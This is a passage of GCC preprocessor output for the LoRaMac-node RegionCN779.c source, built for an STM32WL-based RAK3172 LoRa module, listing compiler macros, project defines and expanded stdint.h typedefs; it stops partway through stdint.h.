#define __UINT_FAST16_MAX__ 0xffffffffU #define __UINT_FAST32_MAX__ 0xffffffffU #define __UINT_FAST64_MAX__ 0xffffffffffffffffULL #define __INTPTR_MAX__ 0x7fffffff #define __INTPTR_WIDTH__ 32 #define __UINTPTR_MAX__ 0xffffffffU #define __GCC_IEC_559 0 #define __GCC_IEC_559_COMPLEX 0 #define __FLT_EVAL_METHOD__ 0 #define __FLT_EVAL_METHOD_TS_18661_3__ 0 #define __DEC_EVAL_METHOD__ 2 #define __FLT_RADIX__ 2 #define __FLT_MANT_DIG__ 24 #define __FLT_DIG__ 6 #define __FLT_MIN_EXP__ (-125) #define __FLT_MIN_10_EXP__ (-37) #define __FLT_MAX_EXP__ 128 #define __FLT_MAX_10_EXP__ 38 #define __FLT_DECIMAL_DIG__ 9 #define __FLT_MAX__ 3.4028234663852886e+38F #define __FLT_NORM_MAX__ 3.4028234663852886e+38F #define __FLT_MIN__ 1.1754943508222875e-38F #define __FLT_EPSILON__ 1.1920928955078125e-7F #define __FLT_DENORM_MIN__ 1.4012984643248171e-45F #define __FLT_HAS_DENORM__ 1 #define __FLT_HAS_INFINITY__ 1 #define __FLT_HAS_QUIET_NAN__ 1 #define __DBL_MANT_DIG__ 53 #define __DBL_DIG__ 15 #define __DBL_MIN_EXP__ (-1021) #define __DBL_MIN_10_EXP__ (-307) #define __DBL_MAX_EXP__ 1024 #define __DBL_MAX_10_EXP__ 308 #define __DBL_DECIMAL_DIG__ 17 #define __DBL_MAX__ ((double)1.7976931348623157e+308L) #define __DBL_NORM_MAX__ ((double)1.7976931348623157e+308L) #define __DBL_MIN__ ((double)2.2250738585072014e-308L) #define __DBL_EPSILON__ ((double)2.2204460492503131e-16L) #define __DBL_DENORM_MIN__ ((double)4.9406564584124654e-324L) #define __DBL_HAS_DENORM__ 1 #define __DBL_HAS_INFINITY__ 1 #define __DBL_HAS_QUIET_NAN__ 1 #define __LDBL_MANT_DIG__ 53 #define __LDBL_DIG__ 15 #define __LDBL_MIN_EXP__ (-1021) #define __LDBL_MIN_10_EXP__ (-307) #define __LDBL_MAX_EXP__ 1024 #define __LDBL_MAX_10_EXP__ 308 #define __DECIMAL_DIG__ 17 #define __LDBL_DECIMAL_DIG__ 17 #define __LDBL_MAX__ 1.7976931348623157e+308L #define __LDBL_NORM_MAX__ 1.7976931348623157e+308L #define __LDBL_MIN__ 2.2250738585072014e-308L #define __LDBL_EPSILON__ 2.2204460492503131e-16L #define __LDBL_DENORM_MIN__ 4.9406564584124654e-324L #define __LDBL_HAS_DENORM__ 1 #define __LDBL_HAS_INFINITY__ 1 #define __LDBL_HAS_QUIET_NAN__ 1 #define __FLT32_MANT_DIG__ 24 #define __FLT32_DIG__ 6 #define __FLT32_MIN_EXP__ (-125) #define __FLT32_MIN_10_EXP__ (-37) #define __FLT32_MAX_EXP__ 128 #define __FLT32_MAX_10_EXP__ 38 #define __FLT32_DECIMAL_DIG__ 9 #define __FLT32_MAX__ 3.4028234663852886e+38F32 #define __FLT32_NORM_MAX__ 3.4028234663852886e+38F32 #define __FLT32_MIN__ 1.1754943508222875e-38F32 #define __FLT32_EPSILON__ 1.1920928955078125e-7F32 #define __FLT32_DENORM_MIN__ 1.4012984643248171e-45F32 #define __FLT32_HAS_DENORM__ 1 #define __FLT32_HAS_INFINITY__ 1 #define __FLT32_HAS_QUIET_NAN__ 1 #define __FLT64_MANT_DIG__ 53 #define __FLT64_DIG__ 15 #define __FLT64_MIN_EXP__ (-1021) #define __FLT64_MIN_10_EXP__ (-307) #define __FLT64_MAX_EXP__ 1024 #define __FLT64_MAX_10_EXP__ 308 #define __FLT64_DECIMAL_DIG__ 17 #define __FLT64_MAX__ 1.7976931348623157e+308F64 #define __FLT64_NORM_MAX__ 1.7976931348623157e+308F64 #define __FLT64_MIN__ 2.2250738585072014e-308F64 #define __FLT64_EPSILON__ 2.2204460492503131e-16F64 #define __FLT64_DENORM_MIN__ 4.9406564584124654e-324F64 #define __FLT64_HAS_DENORM__ 1 #define __FLT64_HAS_INFINITY__ 1 #define __FLT64_HAS_QUIET_NAN__ 1 #define __FLT32X_MANT_DIG__ 53 #define __FLT32X_DIG__ 15 #define __FLT32X_MIN_EXP__ (-1021) #define __FLT32X_MIN_10_EXP__ (-307) #define __FLT32X_MAX_EXP__ 1024 #define __FLT32X_MAX_10_EXP__ 308 #define __FLT32X_DECIMAL_DIG__ 17 #define __FLT32X_MAX__ 1.7976931348623157e+308F32x #define __FLT32X_NORM_MAX__ 1.7976931348623157e+308F32x #define __FLT32X_MIN__ 2.2250738585072014e-308F32x #define __FLT32X_EPSILON__ 2.2204460492503131e-16F32x #define __FLT32X_DENORM_MIN__ 4.9406564584124654e-324F32x #define __FLT32X_HAS_DENORM__ 1 #define __FLT32X_HAS_INFINITY__ 1 #define __FLT32X_HAS_QUIET_NAN__ 1 #define __SFRACT_FBIT__ 7 #define __SFRACT_IBIT__ 0 #define __SFRACT_MIN__ (-0.5HR-0.5HR) #define __SFRACT_MAX__ 0X7FP-7HR #define __SFRACT_EPSILON__ 0x1P-7HR #define __USFRACT_FBIT__ 8 #define __USFRACT_IBIT__ 0 #define __USFRACT_MIN__ 0.0UHR #define __USFRACT_MAX__ 0XFFP-8UHR #define __USFRACT_EPSILON__ 0x1P-8UHR #define __FRACT_FBIT__ 15 #define __FRACT_IBIT__ 0 #define __FRACT_MIN__ (-0.5R-0.5R) #define __FRACT_MAX__ 0X7FFFP-15R #define __FRACT_EPSILON__ 0x1P-15R #define __UFRACT_FBIT__ 16 #define __UFRACT_IBIT__ 0 #define __UFRACT_MIN__ 0.0UR #define __UFRACT_MAX__ 0XFFFFP-16UR #define __UFRACT_EPSILON__ 0x1P-16UR #define __LFRACT_FBIT__ 31 #define __LFRACT_IBIT__ 0 #define __LFRACT_MIN__ (-0.5LR-0.5LR) #define __LFRACT_MAX__ 0X7FFFFFFFP-31LR #define __LFRACT_EPSILON__ 0x1P-31LR #define __ULFRACT_FBIT__ 32 #define __ULFRACT_IBIT__ 0 #define __ULFRACT_MIN__ 0.0ULR #define __ULFRACT_MAX__ 0XFFFFFFFFP-32ULR #define __ULFRACT_EPSILON__ 0x1P-32ULR #define __LLFRACT_FBIT__ 63 #define __LLFRACT_IBIT__ 0 #define __LLFRACT_MIN__ (-0.5LLR-0.5LLR) #define __LLFRACT_MAX__ 0X7FFFFFFFFFFFFFFFP-63LLR #define __LLFRACT_EPSILON__ 0x1P-63LLR #define __ULLFRACT_FBIT__ 64 #define __ULLFRACT_IBIT__ 0 #define __ULLFRACT_MIN__ 0.0ULLR #define __ULLFRACT_MAX__ 0XFFFFFFFFFFFFFFFFP-64ULLR #define __ULLFRACT_EPSILON__ 0x1P-64ULLR #define __SACCUM_FBIT__ 7 #define __SACCUM_IBIT__ 8 #define __SACCUM_MIN__ (-0X1P7HK-0X1P7HK) #define __SACCUM_MAX__ 0X7FFFP-7HK #define __SACCUM_EPSILON__ 0x1P-7HK #define __USACCUM_FBIT__ 8 #define __USACCUM_IBIT__ 8 #define __USACCUM_MIN__ 0.0UHK #define __USACCUM_MAX__ 0XFFFFP-8UHK #define __USACCUM_EPSILON__ 0x1P-8UHK #define __ACCUM_FBIT__ 15 #define __ACCUM_IBIT__ 16 #define __ACCUM_MIN__ (-0X1P15K-0X1P15K) #define __ACCUM_MAX__ 0X7FFFFFFFP-15K #define __ACCUM_EPSILON__ 0x1P-15K #define __UACCUM_FBIT__ 16 #define __UACCUM_IBIT__ 16 #define __UACCUM_MIN__ 0.0UK #define __UACCUM_MAX__ 0XFFFFFFFFP-16UK #define __UACCUM_EPSILON__ 0x1P-16UK #define __LACCUM_FBIT__ 31 #define __LACCUM_IBIT__ 32 #define __LACCUM_MIN__ (-0X1P31LK-0X1P31LK) #define __LACCUM_MAX__ 0X7FFFFFFFFFFFFFFFP-31LK #define __LACCUM_EPSILON__ 0x1P-31LK #define __ULACCUM_FBIT__ 32 #define __ULACCUM_IBIT__ 32 #define __ULACCUM_MIN__ 0.0ULK #define __ULACCUM_MAX__ 0XFFFFFFFFFFFFFFFFP-32ULK #define __ULACCUM_EPSILON__ 0x1P-32ULK #define __LLACCUM_FBIT__ 31 #define __LLACCUM_IBIT__ 32 #define __LLACCUM_MIN__ (-0X1P31LLK-0X1P31LLK) #define __LLACCUM_MAX__ 0X7FFFFFFFFFFFFFFFP-31LLK #define __LLACCUM_EPSILON__ 0x1P-31LLK #define __ULLACCUM_FBIT__ 32 #define __ULLACCUM_IBIT__ 32 #define __ULLACCUM_MIN__ 0.0ULLK #define __ULLACCUM_MAX__ 0XFFFFFFFFFFFFFFFFP-32ULLK #define __ULLACCUM_EPSILON__ 0x1P-32ULLK #define __QQ_FBIT__ 7 #define __QQ_IBIT__ 0 #define __HQ_FBIT__ 15 #define __HQ_IBIT__ 0 #define __SQ_FBIT__ 31 #define __SQ_IBIT__ 0 #define __DQ_FBIT__ 63 #define __DQ_IBIT__ 0 #define __TQ_FBIT__ 127 #define __TQ_IBIT__ 0 #define __UQQ_FBIT__ 8 #define __UQQ_IBIT__ 0 #define __UHQ_FBIT__ 16 #define __UHQ_IBIT__ 0 #define __USQ_FBIT__ 32 #define __USQ_IBIT__ 0 #define __UDQ_FBIT__ 64 #define __UDQ_IBIT__ 0 #define __UTQ_FBIT__ 128 #define __UTQ_IBIT__ 0 #define __HA_FBIT__ 7 #define __HA_IBIT__ 8 #define __SA_FBIT__ 15 #define __SA_IBIT__ 16 #define __DA_FBIT__ 31 #define __DA_IBIT__ 32 #define __TA_FBIT__ 63 #define __TA_IBIT__ 64 #define __UHA_FBIT__ 8 #define __UHA_IBIT__ 8 #define __USA_FBIT__ 16 #define __USA_IBIT__ 16 #define __UDA_FBIT__ 32 #define __UDA_IBIT__ 32 #define __UTA_FBIT__ 64 #define __UTA_IBIT__ 64 #define __REGISTER_PREFIX__ #define __USER_LABEL_PREFIX__ #define __GNUC_STDC_INLINE__ 1 #define __STRICT_ANSI__ 1 #define __CHAR_UNSIGNED__ 1 #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1 #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_2 1 #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_4 1 #define __GCC_ATOMIC_BOOL_LOCK_FREE 2 #define __GCC_ATOMIC_CHAR_LOCK_FREE 2 #define __GCC_ATOMIC_CHAR16_T_LOCK_FREE 2 #define __GCC_ATOMIC_CHAR32_T_LOCK_FREE 2 #define __GCC_ATOMIC_WCHAR_T_LOCK_FREE 2 #define __GCC_ATOMIC_SHORT_LOCK_FREE 2 #define __GCC_ATOMIC_INT_LOCK_FREE 2 #define __GCC_ATOMIC_LONG_LOCK_FREE 2 #define __GCC_ATOMIC_LLONG_LOCK_FREE 1 #define __GCC_ATOMIC_TEST_AND_SET_TRUEVAL 1 #define __GCC_ATOMIC_POINTER_LOCK_FREE 2 #define __HAVE_SPECULATION_SAFE_VALUE 1 #define __GCC_HAVE_DWARF2_CFI_ASM 1 #define __PRAGMA_REDEFINE_EXTNAME 1 #define __SIZEOF_WCHAR_T__ 4 #define __SIZEOF_WINT_T__ 4 #define __SIZEOF_PTRDIFF_T__ 4 #define __ARM_FEATURE_DSP 1 #define __ARM_FEATURE_QBIT 1 #define __ARM_FEATURE_SAT 1 #undef __ARM_FEATURE_CRYPTO # 1 "<built-in>" #define __ARM_FEATURE_UNALIGNED 1 #undef __ARM_FEATURE_QRDMX # 1 "<built-in>" #undef __ARM_FEATURE_CRC32 # 1 "<built-in>" #undef __ARM_FEATURE_DOTPROD # 1 "<built-in>" #undef __ARM_FEATURE_COMPLEX # 1 "<built-in>" #define __ARM_32BIT_STATE 1 #undef __ARM_FEATURE_MVE # 1 "<built-in>" #undef __ARM_FEATURE_CMSE # 1 "<built-in>" #undef __ARM_FEATURE_LDREX # 1 "<built-in>" #define __ARM_FEATURE_LDREX 7 #define __ARM_FEATURE_CLZ 1 #undef __ARM_FEATURE_NUMERIC_MAXMIN # 1 "<built-in>" #define __ARM_FEATURE_SIMD32 1 #define __ARM_SIZEOF_MINIMAL_ENUM 1 #define __ARM_SIZEOF_WCHAR_T 4 #undef __ARM_ARCH_PROFILE # 1 "<built-in>" #define __ARM_ARCH_PROFILE 77 #define __arm__ 1 #undef __ARM_ARCH # 1 "<built-in>" #define __ARM_ARCH 7 #define __APCS_32__ 1 #define __GCC_ASM_FLAG_OUTPUTS__ 1 #define __thumb__ 1 #define __thumb2__ 1 #define __THUMBEL__ 1 #undef __ARM_ARCH_ISA_THUMB # 1 "<built-in>" #define __ARM_ARCH_ISA_THUMB 2 #define __ARMEL__ 1 #define __SOFTFP__ 1 #define __VFP_FP__ 1 #undef __ARM_FP # 1 "<built-in>" #undef __ARM_FP16_FORMAT_IEEE # 1 "<built-in>" #undef __ARM_FP16_FORMAT_ALTERNATIVE # 1 "<built-in>" #undef __ARM_FP16_ARGS # 1 "<built-in>" #undef __ARM_FEATURE_FP16_SCALAR_ARITHMETIC # 1 "<built-in>" #undef __ARM_FEATURE_FP16_VECTOR_ARITHMETIC # 1 "<built-in>" #undef __ARM_FEATURE_FP16_FML # 1 "<built-in>" #define __ARM_FEATURE_FMA 1 #undef __ARM_NEON__ # 1 "<built-in>" #undef __ARM_NEON # 1 "<built-in>" #undef __ARM_NEON_FP # 1 "<built-in>" #define __THUMB_INTERWORK__ 1 #define __ARM_ARCH_7EM__ 1 #define __ARM_PCS 1 #define __ARM_EABI__ 1 #undef __FDPIC__ # 1 "<built-in>" #define __ARM_ARCH_EXT_IDIV__ 1 #define __ARM_FEATURE_IDIV 1 #define __ARM_ASM_SYNTAX_UNIFIED__ 1 #undef __ARM_FEATURE_COPROC # 1 "<built-in>" #define __ARM_FEATURE_COPROC 15 #undef __ARM_FEATURE_CDE # 1 "<built-in>" #undef __ARM_FEATURE_CDE_COPROC # 1 "<built-in>" #undef __ARM_FEATURE_MATMUL_INT8 # 1 "<built-in>" #undef __ARM_FEATURE_BF16_SCALAR_ARITHMETIC # 1 "<built-in>" #undef __ARM_FEATURE_BF16_VECTOR_ARITHMETIC # 1 "<built-in>" #undef __ARM_BF16_FORMAT_ALTERNATIVE # 1 "<built-in>" #define __GXX_TYPEINFO_EQUALITY_INLINE 0 #define __ELF__ 1 # 1 "<command-line>" #define __USES_INITFINI__ 1 #define stm32wle5xx 1 #define SUPPORT_LORA 1 #define LORA_IO_SPI_PORT 2 #define SYS_RTC_COUNTER_PORT 2 #define ATCMD_CUST_TABLE_SIZE 64 #define WAN_TYPE 0 #define LORA_STACK_VER 0x040407 #define RAK3372 +RAK5005-O_V1.0 1 #define rak3172 1 #define CORE_CM4 1 #define USE_HAL_DRIVER 1 #define STM32WL55xx 1 #define REGION_AS923 1 #define REGION_AU915 1 #define REGION_CN470 1 #define REGION_CN779 1 #define REGION_EU433 1 #define REGION_EU868 1 #define REGION_KR920 1 #define REGION_IN865 1 #define REGION_US915 1 #define REGION_RU864 1 #define SOFT_SE 1 #define SECURE_ELEMENT_PRE_PROVISIONED 1 #define LORAMAC_CLASSB_ENABLED 1 #define WISBLOCK_BASE_5005_O 1 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" # 31 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 1 # 24 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" #define __RADIO_H__ # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdint.h" 1 3 4 # 9 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdint.h" 3 4 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 1 3 4 # 10 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define _STDINT_H # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 1 3 4 #define _MACHINE__DEFAULT_TYPES_H # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/features.h" 1 3 4 # 22 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/features.h" 3 4 #define _SYS_FEATURES_H # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/_newlib_version.h" 1 3 4 #define _NEWLIB_VERSION_H__ 1 #define _NEWLIB_VERSION "3.3.0" #define __NEWLIB__ 3 #define __NEWLIB_MINOR__ 3 #define __NEWLIB_PATCHLEVEL__ 0 # 29 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/features.h" 2 3 4 #define __GNUC_PREREQ(maj,min) ((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min)) #define __GNUC_PREREQ__(ma,mi) __GNUC_PREREQ(ma, mi) # 249 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/features.h" 3 4 #define __ATFILE_VISIBLE 0 #define __BSD_VISIBLE 0 #define __GNU_VISIBLE 0 #define __ISO_C_VISIBLE 1999 #define __LARGEFILE_VISIBLE 0 #define __MISC_VISIBLE 0 # 299 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/features.h" 3 4 #define __POSIX_VISIBLE 0 #define __SVID_VISIBLE 0 # 319 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/features.h" 3 4 #define __XSI_VISIBLE 0 # 330 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/features.h" 3 4 #define __SSP_FORTIFY_LEVEL 0 # 9 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 2 3 4 #define __EXP(x) __ ##x ##__ # 26 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 #define __have_longlong64 1 #define __have_long32 1 # 41 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 typedef signed char __int8_t; typedef unsigned char __uint8_t; #define ___int8_t_defined 1 typedef short int __int16_t; typedef short unsigned int __uint16_t; #define ___int16_t_defined 1 # 77 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 typedef long int __int32_t; typedef long unsigned int __uint32_t; #define ___int32_t_defined 1 # 103 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 typedef long long int __int64_t; typedef long long unsigned int __uint64_t; #define ___int64_t_defined 1 # 134 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 typedef signed char __int_least8_t; typedef unsigned char __uint_least8_t; #define ___int_least8_t_defined 1 # 160 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 typedef short int __int_least16_t; typedef short unsigned int __uint_least16_t; #define ___int_least16_t_defined 1 # 182 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 typedef long int __int_least32_t; typedef long unsigned int __uint_least32_t; #define ___int_least32_t_defined 1 # 200 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 typedef long long int __int_least64_t; typedef long long unsigned int __uint_least64_t; #define ___int_least64_t_defined 1 typedef long long int __intmax_t; typedef long long unsigned int __uintmax_t; typedef int __intptr_t; typedef unsigned int __uintptr_t; # 244 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_default_types.h" 3 4 #undef __EXP # 13 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 2 3 4 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 1 3 4 # 10 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define _SYS__INTSUP_H #define __STDINT_EXP(x) __ ##x ##__ # 35 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #undef signed #undef unsigned #undef char #undef short #undef int #undef __int20 #undef __int20__ #undef long #define signed +0 #define unsigned +0 #define char +0 #define short +1 #define __int20 +2 #define __int20__ +2 #define int +2 #define long +4 # 67 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define _INTPTR_EQ_INT #define _INT32_EQ_LONG #define __INT8 "hh" # 93 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define __INT16 "h" # 104 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define __INT32 "l" # 113 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define __INT64 "ll" #define __FAST8 # 129 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define __FAST16 #define __FAST32 # 147 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define __FAST64 "ll" #define __LEAST8 "hh" # 162 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define __LEAST16 "h" # 173 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define __LEAST32 "l" # 182 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #define __LEAST64 "ll" #undef signed #undef unsigned #undef char #undef short #undef int #undef long # 194 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #undef __int20 # 195 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_intsup.h" 3 4 #undef __int20__ # 14 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 2 3 4 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_stdint.h" 1 3 4 # 10 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_stdint.h" 3 4 #define _SYS__STDINT_H # 20 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_stdint.h" 3 4 typedef __int8_t int8_t ; #define _INT8_T_DECLARED typedef __uint8_t uint8_t ; #define _UINT8_T_DECLARED #define __int8_t_defined 1 typedef __int16_t int16_t ; #define _INT16_T_DECLARED typedef __uint16_t uint16_t ; #define _UINT16_T_DECLARED #define __int16_t_defined 1 typedef __int32_t int32_t ; #define _INT32_T_DECLARED typedef __uint32_t uint32_t ; #define _UINT32_T_DECLARED #define __int32_t_defined 1 typedef __int64_t int64_t ; #define _INT64_T_DECLARED typedef __uint64_t uint64_t ; #define _UINT64_T_DECLARED #define __int64_t_defined 1 typedef __intmax_t intmax_t; #define _INTMAX_T_DECLARED typedef __uintmax_t uintmax_t; #define _UINTMAX_T_DECLARED typedef __intptr_t intptr_t; #define _INTPTR_T_DECLARED typedef __uintptr_t uintptr_t; #define _UINTPTR_T_DECLARED # 15 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 2 3 4 typedef __int_least8_t int_least8_t; typedef __uint_least8_t uint_least8_t; #define __int_least8_t_defined 1 typedef __int_least16_t int_least16_t; typedef __uint_least16_t uint_least16_t; #define __int_least16_t_defined 1 typedef __int_least32_t int_least32_t; typedef __uint_least32_t uint_least32_t; #define __int_least32_t_defined 1 typedef __int_least64_t int_least64_t; typedef __uint_least64_t uint_least64_t; #define __int_least64_t_defined 1 # 51 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 typedef int int_fast8_t; typedef unsigned int uint_fast8_t; #define __int_fast8_t_defined 1 typedef int int_fast16_t; typedef unsigned int uint_fast16_t; #define __int_fast16_t_defined 1 typedef int int_fast32_t; typedef unsigned int uint_fast32_t; #define __int_fast32_t_defined 1 typedef long long int int_fast64_t; typedef long long unsigned int uint_fast64_t; #define __int_fast64_t_defined 1 # 128 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INTPTR_MIN (-__INTPTR_MAX__ - 1) #define INTPTR_MAX (__INTPTR_MAX__) #define UINTPTR_MAX (__UINTPTR_MAX__) # 152 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT8_MIN (-__INT8_MAX__ - 1) #define INT8_MAX (__INT8_MAX__) #define UINT8_MAX (__UINT8_MAX__) #define INT_LEAST8_MIN (-__INT_LEAST8_MAX__ - 1) #define INT_LEAST8_MAX (__INT_LEAST8_MAX__) #define UINT_LEAST8_MAX (__UINT_LEAST8_MAX__) # 174 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT16_MIN (-__INT16_MAX__ - 1) #define INT16_MAX (__INT16_MAX__) #define UINT16_MAX (__UINT16_MAX__) #define INT_LEAST16_MIN (-__INT_LEAST16_MAX__ - 1) #define INT_LEAST16_MAX (__INT_LEAST16_MAX__) #define UINT_LEAST16_MAX (__UINT_LEAST16_MAX__) # 196 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT32_MIN (-__INT32_MAX__ - 1) #define INT32_MAX (__INT32_MAX__) #define UINT32_MAX (__UINT32_MAX__) # 212 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT_LEAST32_MIN (-__INT_LEAST32_MAX__ - 1) #define INT_LEAST32_MAX (__INT_LEAST32_MAX__) #define UINT_LEAST32_MAX (__UINT_LEAST32_MAX__) # 230 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT64_MIN (-__INT64_MAX__ - 1) #define INT64_MAX (__INT64_MAX__) #define UINT64_MAX (__UINT64_MAX__) # 246 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT_LEAST64_MIN (-__INT_LEAST64_MAX__ - 1) #define INT_LEAST64_MAX (__INT_LEAST64_MAX__) #define UINT_LEAST64_MAX (__UINT_LEAST64_MAX__) # 262 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT_FAST8_MIN (-__INT_FAST8_MAX__ - 1) #define INT_FAST8_MAX (__INT_FAST8_MAX__) #define UINT_FAST8_MAX (__UINT_FAST8_MAX__) # 278 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT_FAST16_MIN (-__INT_FAST16_MAX__ - 1) #define INT_FAST16_MAX (__INT_FAST16_MAX__) #define UINT_FAST16_MAX (__UINT_FAST16_MAX__) # 294 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT_FAST32_MIN (-__INT_FAST32_MAX__ - 1) #define INT_FAST32_MAX (__INT_FAST32_MAX__) #define UINT_FAST32_MAX (__UINT_FAST32_MAX__) # 310 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT_FAST64_MIN (-__INT_FAST64_MAX__ - 1) #define INT_FAST64_MAX (__INT_FAST64_MAX__) #define UINT_FAST64_MAX (__UINT_FAST64_MAX__) # 326 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INTMAX_MAX (__INTMAX_MAX__) #define INTMAX_MIN (-INTMAX_MAX - 1) #define UINTMAX_MAX (__UINTMAX_MAX__) #define SIZE_MAX (__SIZE_MAX__) #define SIG_ATOMIC_MIN (-__STDINT_EXP(INT_MAX) - 1) #define SIG_ATOMIC_MAX (__STDINT_EXP(INT_MAX)) #define PTRDIFF_MAX (__PTRDIFF_MAX__) #define PTRDIFF_MIN (-PTRDIFF_MAX - 1) #define WCHAR_MIN (__WCHAR_MIN__) # 374 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define WCHAR_MAX (__WCHAR_MAX__) # 384 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define WINT_MAX (__WINT_MAX__) #define WINT_MIN (__WINT_MIN__) #define INT8_C(x) __INT8_C(x) #define UINT8_C(x) __UINT8_C(x) # 408 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT16_C(x) __INT16_C(x) #define UINT16_C(x) __UINT16_C(x) # 420 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT32_C(x) __INT32_C(x) #define UINT32_C(x) __UINT32_C(x) # 433 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INT64_C(x) __INT64_C(x) #define UINT64_C(x) __UINT64_C(x) # 449 